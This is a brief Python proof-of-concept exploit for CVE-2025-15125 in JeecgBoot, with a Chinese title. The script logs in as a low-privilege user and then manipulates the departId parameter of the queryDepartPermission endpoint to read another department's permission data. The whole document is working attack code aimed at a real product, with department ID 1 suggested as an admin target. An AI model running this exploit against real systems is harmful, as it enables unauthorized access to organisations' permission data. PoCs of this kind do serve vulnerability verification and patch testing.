CVE-2025-15125 JeecgBoot queryDepartPermission 越权漏洞

import requests import json # CVE-2025-15125 PoC - JeecgBoot queryDepartPermission IDOR # Target: JeecgBoot <= 3.9.0 # Vulnerability: Improper Authorization in /sys/permission/queryDepartPermission TARGET_URL = "http://target.com/jeecg-boot" USERNAME = "attacker" PASSWORD = "password" def login(): """Login to get authentication token""" login_url = f"{TARGET_URL}/sys/login" data = {"username": USERNAME, "password": PASSWORD} response = requests.post(login_url, json=data) if response.status_code == 200: result = response.json() return result.get("data", {}).get("token") return None def exploit_unauthorized_access(token, depart_id): """Exploit IDOR by manipulating departId parameter""" exploit_url = f"{TARGET_URL}/sys/permission/queryDepartPermission" headers = {"X-Access-Token": token} params = {"departId": depart_id} # Manipulate departId to access other depts response = requests.get(exploit_url, headers=headers, params=params) return response.json() def main(): token = login() if not token: print("[-] Login failed") return print("[*] Login successful, exploiting IDOR...") # Try to access department with ID 1 (could be admin/sensitive dept) result = exploit_unauthorized_access(token, "1") print(f"[+] Response: {json.dumps(result, indent=2, ensure_ascii=False)}") if __name__ == "__main__": main()